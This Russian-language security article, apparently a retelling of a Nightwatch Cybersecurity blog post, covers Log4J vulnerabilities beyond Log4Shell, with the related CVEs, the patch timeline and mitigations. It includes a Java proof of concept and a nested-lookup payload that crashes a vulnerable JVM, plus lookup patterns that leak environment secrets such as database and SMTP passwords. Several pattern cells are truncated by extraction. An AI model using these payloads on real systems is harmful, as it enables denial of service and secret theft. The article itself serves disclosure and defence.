Содержание статьи
info
Это близкий к тексту пересказ поста Additional Vulnerabilities in Log4J из блога Nightwatch Cybersecurity. Весь текст статьи доступен для чтения без платной подписки.
Ранее рекомендуемые меры предосторожности вроде удаления класса JNDiLookup
, для решения этих проблем не работают. Надо обновиться до версии с патчем при первой же возможности, если ты еще используешь старые методы. Системы, которые дают доступ к конфигам Log4J, пока остаются уязвимыми.
Log4J, Log4Shell и родственные уязвимости (CVE)
Логирование — это не просто какая‑то прихоть, а настоящая необходимость в софте. В Java появился API для логирования еще с версии 1.4 в 2002-м, но Log4J начал набирать популярность с 1999-го и давал фору по фичам. Из всех вариантов он стал самым популярным и используется во множестве приложений на Java.
В декабре 2021-го в Log4J обнаружили кучу серьезных уязвимостей. Самая критичная открывала дорогу для удаленного выполнения кода.
Сюда входят:
- CVE-2021-44228 (CVSS 10.0), также известная как Log4Shell – позволяет выполнять lookup-выражения в данных, которые записываются в логах, что раскрывает уязвимость JNDI.
-
CVE-2021-45046 (CVSS 10.0) – когда в настройках логирования используется нестандартный паттерн с Context Lookup (например,
$${
), злоумышленник, контролирующий входные данные Thread Context Map (MDC), может создать вредоносные данные, используя шаблон JNDI Lookup.ctx: loginId} - CVE-2021-44832 (CVSS 6.6) – злоумышленник, имеющий право изменять файл конфигурации логирования, может создать вредоносную конфигурацию, используя JDBC Appender с источником данных, ссылающимся на JNDI URI.
-
CVE-2021-45105 (CVSS 5.9) – не защищает от неконтролируемой рекурсии при самоссылающихся запросах. Если в настройках логирования используется нестандартный паттерн с Context Lookup (например,
$${
), злоумышленник, контролирующий входные данные Thread Context Map (MDC), может создать вредоносные данные с рекурсивным запросом, что вызовет StackOverflowError и остановит процесс.ctx: loginId}

Эти четыре проблемы возникли из‑за алгоритма поиска строк, который позволял злоумышленникам встраивать непроверенные данные в приложение и эксплуатировать уязвимости, похожие на SQL-инъекции. Самая опасная из них – возможность загрузки кода с удаленного сервера через JNDI и его выполнение. Да, ты угадал, речь о Log4Shell!


Заплатки выходили по графику, представленному в таблице.
Дата | Версия | Исправленные CVE | Примечания |
---|---|---|---|
2021-12-10 | 2.15.0 | CVE-2021-44228 | Исправлена основная уязвимость Log4Shell, отключает лукапы, но их можно снова включить через параметр |
2021-12-13 | 2.16.0 | CVE-2021-45046 | Исправлена проблема с контекстными лукапами; отключает лукапы для записанных данных |
2021-12-18 | 2.17.0 | CVE-2021-45105 | Исправлена проблема отказа в обслуживании; отключает большинство рекурсивных лукапов |
2021-12-28 | 2.17.1 | CVE-2021-44832 | Исправлена проблема с файлом конфигурации; ограничивает URL контекста JNDI до java
|
На декабрь 2021 года в Apache рекомендовали следующие меры предосторожности для тех, кто не может обновиться (подробнее смотри на архивной странице безопасности от января 2022 года):
- Проблемы с Log4Shell (CVE-2021-44228 и CVE-2021-45046) — удали класс JndiLookup из classpath. Если у тебя версия Log4j ниже 2.16.0, просто убери JndiLookup из classpath:
zip
. Также обрати внимание на вариант с хотпатчем выше.-q -d log4j-core-*. jar org/ apache/ logging/ log4j/ core/ lookup/ JndiLookup. class
Для решения вопросов, связанных с контекстом (CVE-2021-45046 и CVE-2021-45105):
- В конфиге журналирования в разделе PatternLayout замени вызовы Context Lookups типа
${
на паттерны Thread Context Map (ctx: loginId} или $${ ctx: loginId} %X
,%mdc
или%MDC
). - Если это не вариант, просто убери всякие упоминания Context Lookups вроде
${
илиctx: loginId} $${
, которые берут данные из внешних источников, таких как HTTP-заголовки или пользовательский ввод.ctx: loginId}
Строковая интерполяция и Java EE: точки пересечения
Одна из фишек Log4J и прочих Java-библиотек — это замены свойств (они же подстановки). Они позволяют заменять плейсхолдеры вроде ${
на другие значения, аналогично тому, как это происходит в bash и прочих языках. В Log4J такие штуки добавили, чтобы упростить настройку, и изначально их использовали в конфигурационных файлах, а не в логируемых данных. Эта фича была добавлена в Log4J с версией 2.0 в октябре 2010 года.
В какой‑то момент фичу изменили, чтобы позволить подстановки во входящих данных, которые записываются в лог (скорее всего, это произошло в октябре 2011 года). Со временем стали добавляться новые классы подстановок. JNDI-подстановки были внедрены в июле 2013-го. А код JNDI ведет свое начало от Java EE из 90-х.
Если же эту фичу использовать не по назначению, она может стать настоящей головной болью для безопасников. Виной всему — нестыковка множества систем, которые вообще‑то не стоило бы друг с другом соединять:
- поиск строк в конфиге;
- обработка входящих логов с небезопасными данными;
- старый Java EE/JNDI-код из 90-х.

Вот код из класса MessagePatternConverter, который обрабатывает входящие сообщения журнала. Как видно, он ищет символ доллара и переадресует вызов классу StrSubstitutor
.
for (int i = offset; i < workingBuilder.length() - 1; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(config.getStrSubstitutor().replace(event, value)); }}
В Log4J класс StrSubstitutor
— это главный вход для всяких lookup-функций. Он опирается на интерфейс StrLookup
, который реализован множеством классов, каждый из которых тянет свой тип лукапа (большинство из них обитает в пакете org.apache.logging.log4j.core.lookup). Вся эта компания подключается через архитектуру плагинов, создавая коннекты с другими компонентами (кстати, кастомные лукапы тоже поддерживаются). Один из методов поиска предоставляет поддержку Java Naming and Directory Interface (JNDI) — это реализовано в классе JNDILookup.
Ниже — интерфейс StrLookup и простой вариант поиска:
public interface StrLookup { String CATEGORY = "Lookup"; String lookup(LogEvent event, String key);}
Этот код в классе JNDILookup прокладывает мост между поисковыми операциями и устаревшим кодом JNDI (Java EE), который все еще таится в недрах Java:
public String lookup(final LogEvent event, final String key) { if (key == null) { return null; } final String jndiName = convertJndiName(key); try (final JndiManager jndiManager = JndiManager.getDefaultManager()) { return Objects.toString(jndiManager.lookup(jndiName), null); } catch (final NamingException e) {...
Уязвимость 1: отказ в обслуживании
Многие типы строкового поиска в Log4J рекурсивны и могут быть вложены друг в друга (код можешь посмотреть на GitHub).
Каждая вложенная функция использует часть памяти стека Java, которая отличается от основной памяти (кучи), используемой для большинства процессов. Настраивается эта память параметром -Xss
и в зависимости от твоей ОС и версии Java может варьироваться от одного мегабайта до одного гигабайта. Если переборщишь и превысишь этот лимит, тебя ожидает StackOverFlowError
.
Хотя в CVE-2021-45105 упоминаются рекурсивные запросы, считалось, что эта уязвимость возникает лишь при нестандартных настройках, где используются контекстные вызовы. Но, как оказалось, проблему можно использовать и на стандартных настройках, отправив системе вредоносный пакет, который она попытается залогировать.
Этот баг пофиксили, отключив вызовы, но предыдущие версии и любые системы, использующие настройки Log4J, остаются уязвимыми в стандартных конфигурациях. Если отправить рекурсивный пейлоад на уязвимую систему, Log4J будет обрабатывать его до тех пор, пока у приложения не закончится память стека.
Размер стека в Java можно проверить с помощью такой команды:
>
intx
Атака проводится «вслепую» и не требует получения никакой обратной связи от системы.

Размер полезной нагрузки, который может валить JVM, зависит от настройки памяти стека. Ниже перечислены размеры полезной нагрузки, которые были протестированы на JDK 17.
Размер памяти стека (-Xss) | Количество вложенных циклов до сбоя | Размер пейлоада |
---|---|---|
144 Кбайт (минимум) | 100 | 1 Кбайт |
1 024 Кбайт (по умолчанию) | 3 000 | 27 Кбайт |
1 Гбайт (максимум) | 18 000 | 162 Кбайт |
Пример эксплоита
Код для проверки возможности эксплуатации:
import org.apache.logging.log4j.LogManager;public class Test { public static void main(String[] args) { int rounds = 100; String payload = "${lower:".repeat(rounds) + "${java:runtime}" + "}".repeat(rounds); System.out.println("Payload size: " + payload.length()); LogManager.getRootLogger().error(payload); }}
Пример пейлоада:
${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${java:runtime}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}}}
В обычной версии внутренний поиск (${
) вернет информацию о сборке JVM, а внешние поиски (${
) превратят эту инфу в нижний регистр. Вот так:
Payload size: 915
22:25:59.991 [main] ERROR - openjdk runtime environment (build 17.0.7+7-lts)
Но если у тебя Java с недостатком памяти и уязвимой версией Log4J, все накроется медным тазом примерно так:
Payload size: 915
Exception in thread "main" java.lang.StackOverflowError at java.base/java.lang.AbstractStringBuilder.checkRangeSIOOBE(AbstractStringBuilder.java:1809) at java.base/java.lang.AbstractStringBuilder.getChars(AbstractStringBuilder.java:508) at java.base/java.lang.StringBuilder.getChars(StringBuilder.java:91) at org.apache.logging.log4j.core.lookup.StrSubstitutor.getChars(StrSubstitutor.java:1401) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:939) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978)
Уязвимость 2: утечка данных
Оказалось, что JNDI-запросы — настоящие бомбы замедленного действия, но это всего лишь один из многих типов запросов, которые доступны в Log4J. Исправления для уязвимости Log4Shell отключают интерполяцию запросов в логах, однако в версиях до 2.15 все еще доступны все типы запросов.
Даже сегодня в последних версиях запросы можно использовать в конфигах — и это относится к самым свежим версиям Log4J (поскольку доступ к настройкам не входит в модель угроз проекта). Более того, запросы остаются доступными, даже если класс JNDILookup удален (это было рекомендованным способом минимизации угрозы без обновления библиотеки).
В этих трех сценариях (версии до 2.15, версии с удаленным классом JNDILookup и любые версии с доступом к конфигам) другие типы запросов все еще активны и могут слить информацию о системе.
В Log4J доступны следующие типы подстановок (подробнее можно почитать в документации):
Паттерн | Описание | Паттерн | Описание |
---|---|---|---|
${ |
Ресурсные бандлы | ${ |
Настройки Log4J |
${ |
Карта контекста потока | ${ |
Преобразует в нижний регистр |
${ |
Дата/время | ${ |
Аргументы для исполняемых файлов / main() |
${ |
Атрибуты Docker | ${ |
Поиск по карте |
${ |
Переменные окружения | ${ |
Маркеры |
${ |
Поля объекта события в логе | ${ |
Свойства Spring |
${ |
Информация о Java runtime | ${ |
Структурированные данные |
${ |
Удаленные вызовы JNDI | ${ |
Свойства системы |
${ |
Аргументы JVM (только JMX) | ${ |
Преобразует в верхний регистр |
${ |
Информация о контейнере Kubernetes | ${ |
Переменные/атрибуты контекста сервлета |
Многие доступные функции поиска возвращают такие данные, как переменные окружения, системные свойства, Spring-параметры, информация о выполнении, секреты и тому подобное. Такие штуки, как атрибуты выполнения, могут использоваться для начальной разведки. Но есть нюанс: большинство из них не поддерживает подстановочные знаки — нужно точно знать имя переменной или свойства, которое ты хочешь вытащить.
Чтобы прочитать информацию из этих запросов, нужен доступ к логам. Таким образом, злоумышленник не сможет провернуть атаку вслепую. Ситуации, когда доступ возможен, это, например, сообщения об ошибках или облачные/SAAS-приложения, где пользователи могут смотреть логи.

Пример эксплуатации
В таблице — примеры полезных нагрузок.
Шаблон | Описание |
---|---|
${ |
Пароль от Postgres, который хранится в переменной среды |
${ |
Пароль хранилища ключей из свойств Log4J |
${ |
Пароль SMTP из Spring |
${ |
Имя контейнера в Docker |
${ |
URL мастера Kubernetes |
${ |
Информация о среде выполнения JVM |
Код для проверки эксплоита:
import org.apache.logging.log4j.LogManager;public class Test2 { public static void main(String[] args) { String payload = "${java:runtime}"; LogManager.getRootLogger().error(payload); }}
В обновленной версии такой лукап работать не будет: по умолчанию все запросы отрубаются, так что на выходе получишь только следующее сообщение:
>
12:
В уязвимой версии Log4J можно с помощью специального лукапа вытащить инфу о системе:
>
12:
Ответ производителя
Apache и проект Log4J засветили эту проблему еще в сентябре 2022-го с выходом версии Log4J 2.19 — через обновление страницы безопасности (вот архив со страницы безопасности и апдейт в Git). Разработчики Log4J сочли это частью CVE-2021-45046 и CVE-2021-44228, а также учтенной в прошлых релизах, так что новых CVE уязвимостям не выдавали и код не меняли. На момент написания этой статьи (июнь 2025-го) описания CVE еще не полностью обновлены в базе NVD/CVE, но уже есть на странице безопасности Log4J. А вот предыдущая инфа о том, как убрать класс JNDILookup, с этой странице исчезла.
info
Многие вендоры, использующие Log4J в своих продуктах, громко заявляли, что убрали класс JNDILookup для защиты. Но если они не перешли на новые версии, то их софт еще уязвим к проблемам, описанным в этой статье. Да и последние версии не спасают, если кто‑то имеет доступ к конфигам Log4J.
Уязвимые версии и способы защиты
Под ударом оказались следующие версии Log4J:
- Все версии Log4J v2 до v2.15, кроме v2.12.2-4 (Java 7) и v2.3.1-2 (Java 6).
- В v2.15, v2.12.2 (Java 7) и v2.3.1 (Java 6) поиск в логах по умолчанию отключен, но его можно активировать снова. Если снова включить поиск или использовать контекстные поиски (CVE-2021-45046), то эти версии уязвимы.
- Версии от v2.16+, v2.12.3+ (Java 7) и v2.3.2 (Java 6) остаются уязвимыми, если предоставлен доступ к конфигурационным файлам.
- Log4J v1 не подвержен уязвимости, кроме случаев, когда используется JMSAppender (см. CVE-2021-4104).
Пользователям стоит обновиться до версии, которая полностью отключает обращения к логам — это v2.16+, v2.12.3 (для Java 7) или v2.3.2 (для Java 6). Также не забудь обновить инструменты вроде WAF и IDS-систем, чтобы они отслеживали подозрительные шаблоны и быстро выявляли такие проблемы.
Если ты не можешь обновиться, то прежние рекомендации разработчика не спасут от этих багов. И хотя теоретически можно откатить существующие патчи, чтобы отключить лукапы, этого лучше не делать. Прочие публичные заплатки, вроде упомянутого выше Java hotpatch agent, эти проблемы тоже не решают.
Доступ к конфигам Log4J лучше в корне пресечь — лукапы все еще работают в конфигах, и это может стать лазейкой для атак. Правда, с февраля 2023 года, как заявили в Apache, находки, связанные с доступом к конфигурации Log4J, больше не считаются уязвимостями. Но это не значит, что можно расслабиться!